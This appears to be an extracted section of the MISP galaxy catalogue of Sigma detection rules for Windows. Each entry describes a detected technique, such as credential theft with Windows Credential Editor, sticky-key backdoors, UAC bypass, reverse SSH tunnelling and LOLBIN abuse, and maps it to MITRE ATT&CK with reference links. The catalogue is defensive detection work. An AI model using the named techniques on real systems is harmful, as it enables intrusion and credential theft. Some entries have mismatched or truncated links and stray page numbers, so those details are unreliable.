Detects the export of a critical Registry key to a file.

The tag is: `misp-galaxy:sigma-rules="Exports Critical Registry Keys To a File"`

View relationships graph
Exports Critical Registry Keys To a File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 9839. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f">https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regedit/">https://lolbas-project.github.io/lolbas/Binaries/Regedit/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml</a></td>
</tr>
</tbody>
</table>

**Wab/Wabmig Unusual Parent Or Child Processes**

Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity

The tag is: misp-galaxy:sigma-rules="Wab/Wabmig Unusual Parent Or Child Processes"

Table 9840. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/09/26/bumblebee-round-two/">https://thedfirreport.com/2022/09/26/bumblebee-round-two/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - Windows Credential Editor (WCE) Execution**

Detects the use of Windows Credential Editor (WCE)

The tag is: misp-galaxy:sigma-rules="HackTool - Windows Credential Editor (WCE) Execution"

View relationships graph

HackTool - Windows Credential Editor (WCE) Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9841. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Suspicious ZipExec Execution

ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.

The tag is: misp-galaxy:sigma-rules="Suspicious ZipExec Execution"

View relationships graph

Suspicious ZipExec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 9842. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1451237393017839616">https://twitter.com/SBousseaden/status/1451237393017839616</a></td>
</tr>
<tr>
<td><a href="https://github.com/Tylous/ZipExec">https://github.com/Tylous/ZipExec</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_zipexec.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_zipexec.yml</a></td>
</tr>
</tbody>
</table>

Execute Code with Pester.bat as Parent

Detects code execution via Pester.bat (Pester - Powershell Module for testing)

The tag is: misp-galaxy:sigma-rules="Execute Code with Pester.bat as Parent"

View relationships graph

Execute Code with Pester.bat as Parent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9843. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/st0pp3r/status/1560072680887525378">https://twitter.com/st0pp3r/status/1560072680887525378</a></td>
</tr>
</tbody>
</table>

6256
Explorer NOUACCHECK Flag

Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks

The tag is: misp-galaxy:sigma-rules="Explorer NOUACCHECK Flag"

View relationships graph

Explorer NOUACCHECK Flag has relationships with:


Table 9844. Table References

Links

https://twitter.com/ORCA6665/status/1496478087244095491
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_nouaccheck.yml

XBAP Execution From Uncommon Locations Via PresentationHost.EXE

Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL

The tag is: misp-galaxy:sigma-rules="XBAP Execution From Uncommon Locations Via PresentationHost.EXE"

View relationships graph

XBAP Execution From Uncommon Locations Via PresentationHost.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9845. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_uncommon_location_exec.yml
Set Suspicious Files as System Files Using Attrib.EXE

Detects the usage of attrib with the "+s" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs.

The tag is: `misp-galaxy:sigma-rules="Set Suspicious Files as System Files Using Attrib.EXE"`

View relationships graph

Set Suspicious Files as System Files Using Attrib.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 9846. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0">https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/c28cab8-a19f-40f3-a78b-cae506a5c0d4">https://app.any.run/tasks/c28cab8-a19f-40f3-a78b-cae506a5c0d4</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Debugger Registration Cmdline

Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).

The tag is: `misp-galaxy:sigma-rules="Suspicious Debugger Registration Cmdline"`

View relationships graph

Suspicious Debugger Registration Cmdline has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 9847. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/">https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/</a></td>
</tr>
<tr>
<td><a href="https://blogs.technet.microsoft.com/jonathanrull/2016/10/03/detecting-sticky-key-backdoors/">https://blogs.technet.microsoft.com/jonathanrull/2016/10/03/detecting-sticky-key-backdoors/</a></td>
</tr>
</tbody>
</table>
Potential Remote Desktop Tunneling

Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.

The tag is: `misp-galaxy:sigma-rules="Potential Remote Desktop Tunneling"`

View relationships graph

Potential Remote Desktop Tunneling has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Remote Services - T1021"` with estimative-language:likelihood-probability="almost-certain"

Table 9848. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_remote_desktop_tunneling.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_remote_desktop_tunneling.yml</a></td>
</tr>
</tbody>
</table>

Potential Defense Evasion Via Binary Rename

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

The tag is: `misp-galaxy:sigma-rules="Potential Defense Evasion Via Binary Rename"`

View relationships graph

Potential Defense Evasion Via Binary Rename has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9849. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65b9a941ed2/atomics/T1036.003/T1036.003.md#atomic-test-1---masquerading-as-windows-lsass-process">https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65b9a941ed2/atomics/T1036.003/T1036.003.md#atomic-test-1---masquerading-as-windows-lsass-process</a></td>
</tr>
<tr>
<td><a href="https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html">https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html</a></td>
</tr>
<tr>
<td><a href="https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html">https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious Add User to Remote Desktop Users Group**

Detects suspicious command line in which a user gets added to the local Remote Desktop Users group

The tag is: `misp-galaxy:sigma-rules="Suspicious Add User to Remote Desktop Users Group"`

**View relationships graph**

Suspicious Add User to Remote Desktop Users Group has relationships with:


- related-to: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"


**Table 9850. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop_group.yml</a></td>
</tr>
</tbody>
</table>

**Control Panel Items**

Detects the malicious use of a control panel item

The tag is: `misp-galaxy:sigma-rules="Control Panel Items"`

**View relationships graph**

Control Panel Items has relationships with:


- related-to: `misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546"` with estimative-language:likelihood-probability="almost-certain"

**Table 9851. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins">https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml</a></td>
</tr>
</tbody>
</table>

6260
**Arbitrary MSI Download Via Devinit.EXE**

Detects a certain command line flag combination used by "devinit.exe", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system.

The tag is: `misp-galaxy:sigma-rules="Arbitrary MSI Download Via Devinit.EXE"`

View relationships graph

Arbitrary MSI Download Via Devinit.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

**Table 9852. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1460815932402679809">https://twitter.com/mrd0x/status/1460815932402679809</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious AddinUtil.EXE CommandLine Execution**

Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with suspicious Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.

The tag is: `misp-galaxy:sigma-rules="Suspicious AddinUtil.EXE CommandLine Execution"`

View relationships graph

Suspicious AddinUtil.EXE CommandLine Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

**Table 9853. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html">https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml</a></td>
</tr>
</tbody>
</table>
Potential Persistence Via Microsoft Compatibility Appraiser

Detects manual execution of the "Microsoft Compatibility Appraiser" task via schtasks. In order to trigger persistence stored in the "\AppCompatFlags\TelemetryController" registry key.

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via Microsoft Compatibility Appraiser"`

View relationships graph

Potential Persistence Via Microsoft Compatibility Appraiser has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

Table 9854. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/">https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_schtasks_persistence_windows_telemetry.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_schtasks_persistence_windows_telemetry.yml</a></td>
</tr>
</tbody>
</table>

Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution

Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary

The tag is: `misp-galaxy:sigma-rules="Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution"`

View relationships graph

Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9855. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1463526834918854661">https://twitter.com/mrd0x/status/1463526834918854661</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5">https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_pressanykey_lolbin_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_pressanykey_lolbin_execution.yml</a></td>
</tr>
</tbody>
</table>
Suspicious AgentExecutor PowerShell Execution

Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument

The tag is: misp-galaxy:sigma-rules="Suspicious AgentExecutor PowerShell Execution"

View relationships graph

Suspicious AgentExecutor PowerShell Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9856. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/jseerden/status/1247985304667066373/photo/1">https://twitter.com/jseerden/status/1247985304667066373/photo/1</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/lefterispan/status/1286259016436514816">https://twitter.com/lefterispan/status/1286259016436514816</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_susp_usage.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_susp_usage.yml</a></td>
</tr>
</tbody>
</table>

Suspicious HWP Sub Processes

Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation

The tag is: misp-galaxy:sigma-rules="Suspicious HWP Sub Processes"

View relationships graph

Suspicious HWP Sub Processes has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 9857. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.alyac.co.kr/1901">https://blog.alyac.co.kr/1901</a></td>
</tr>
</tbody>
</table>
**UAC Bypass via Windows Firewall Snap-In Hijack**

Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in

The tag is: `misp-galaxy:sigma-rules="UAC Bypass via Windows Firewall Snap-In Hijack"`

View relationships graph

UAC Bypass via Windows Firewall Snap-In Hijack has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with `estimative-language:likelihood-probability="almost-certain"`

---

**Suspicious Query of MachineGUID**

Use of `reg` to get MachineGuid information

The tag is: `misp-galaxy:sigma-rules="Suspicious Query of MachineGUID"`

View relationships graph

Suspicious Query of MachineGUID has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with `estimative-language:likelihood-probability="almost-certain"`

---

6264
InfDefaultInstall.exe .inf Execution

Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.

The tag is: `misp-galaxy:sigma-rules="InfDefaultInstall.exe .inf Execution"`

View relationships graph

InfDefaultInstall.exe .inf Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 9860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdff3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4-infdefaultinstall.exe-inf-execution">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdff3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4-infdefaultinstall.exe-inf-execution</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/">https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml</a></td>
</tr>
</tbody>
</table>

Windows Share Mount Via Net.EXE

Detects when a share is mounted using the "net.exe" utility

The tag is: `misp-galaxy:sigma-rules="Windows Share Mount Via Net.EXE"`

View relationships graph

Windows Share Mount Via Net.EXE has relationships with:


Table 9861. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://drive.google.com/file/d/1LKya3_mLmR3UQuCoiYruO3qgu052_iS_/view">https://drive.google.com/file/d/1LKya3_mLmR3UQuCoiYruO3qgu052_iS_/view</a></td>
</tr>
</tbody>
</table>
DLL Loaded via CertOC.EXE

Detects when a user installs certificates by using CertOC.exe to load the target DLL file.

The tag is: `misp-galaxy: sigma-rules="DLL Loaded via CertOC.EXE"`

View relationships graph

DLL Loaded via CertOC.EXE has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language: likelihood-probability="almost-certain"

Table 9862. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-ffe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2">https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-ffe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Certoc/">https://lolbas-project.github.io/lolbas/Binaries/Certoc/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/sblmsrsn/status/1445758411803480072?s=20">https://twitter.com/sblmsrsn/status/1445758411803480072?s=20</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml</a></td>
</tr>
</tbody>
</table>

New Virtual Smart Card Created Via TpmVscMgr.EXE

Detects execution of "Tpmvscmgr.exe" to create a new virtual smart card.

The tag is: `misp-galaxy: sigma-rules="New Virtual Smart Card Created Via TpmVscMgr.EXE"`

Table 9863. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tpvscmgr_add_virtual_smartcard.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tpvscmgr_add_virtual_smartcard.yml</a></td>
</tr>
</tbody>
</table>

WinDbg/CDB LOLBIN Usage

Detects usage of "cdb.exe" to launch 64-bit shellcode or arbitrary processes or commands from a debugger script file.

The tag is: `misp-galaxy: sigma-rules="WinDbg/CDB LOLBIN Usage"`
View relationships graph

WinDbg/CDB LOLBIN Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 9864. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1534957360032120833">https://twitter.com/nas_bench/status/1534957360032120833</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml</a></td>
</tr>
</tbody>
</table>

Regsvr32 DLL Execution With Uncommon Extension

Detects a "regsvr32" execution where the DLL doesn't contain a common file extension.

The tag is: misp-galaxy:sigma-rules="Regsvr32 DLL Execution With Uncommon Extension"

View relationships graph

Regsvr32 DLL Execution With Uncommon Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

Table 9865. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebcad/">https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebcad/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_uncommon_extension.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_uncommon_extension.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Htran/NATBypass Execution

Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)

The tag is: misp-galaxy:sigma-rules="HackTool - Htran/NATBypass Execution"
HackTool - Htran/NATBypass Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 9866. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/cw1997/NATBypass">https://github.com/cw1997/NATBypass</a></td>
</tr>
<tr>
<td><a href="https://github.com/HiwinCN/HTran">https://github.com/HiwinCN/HTran</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_htran_or_natbypass.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_htran_or_natbypass.yml</a></td>
</tr>
</tbody>
</table>

**PUA - NirCmd Execution**

Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity

The tag is: misp-galaxy:sigma-rules="PUA - NirCmd Execution"

Table 9867. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/">https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/</a></td>
</tr>
<tr>
<td><a href="https://www.nirsoft.net/utils/nircmd2.html#using">https://www.nirsoft.net/utils/nircmd2.html#using</a></td>
</tr>
<tr>
<td><a href="https://www.nirsoft.net/utils/nircmd.html">https://www.nirsoft.net/utils/nircmd.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd.yml</a></td>
</tr>
</tbody>
</table>

**Renamed SysInternals DebugView Execution**

Detects suspicious renamed SysInternals DebugView execution

The tag is: misp-galaxy:sigma-rules="Renamed SysInternals DebugView Execution"

Table 9868. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd.yml</a></td>
</tr>
</tbody>
</table>
Uncommon Child Process Of Conhost.EXE

Detects uncommon "conhost" child processes. This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.

The tag is: misp-galaxy:sigma-rules="Uncommon Child Process Of Conhost.EXE"

View relationships graph

Uncommon Child Process Of Conhost.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Suspicious Rundll32 Invoking Inline VBScript

Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452

The tag is: misp-galaxy:sigma-rules="Suspicious Rundll32 Invoking Inline VBScript"

View relationships graph

Suspicious Rundll32 Invoking Inline VBScript has relationships with:

Compress Data and Lock With Password for Exfiltration With WINZIP

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities

The tag is: misp-galaxy: sigma-rules="Compress Data and Lock With Password for Exfiltration With WINZIP"

View relationships graph

Compress Data and Lock With Password for Exfiltration With WINZIP has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language: likelihood-probability="almost-certain"

Table 9871. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bf%5Cldots%5Cmd">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bf\ldots\md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win%5Cldots.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win\ldots.yml</a></td>
</tr>
</tbody>
</table>

Use of W32tm as Timer

When configured with suitable command line arguments, w32tm can act as a delay mechanism

The tag is: misp-galaxy: sigma-rules="Use of W32tm as Timer"

View relationships graph

Use of W32tm as Timer has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="System Time Discovery - T1124" with estimative-language: likelihood-probability="almost-certain"

Table 9872. Table References

<table>
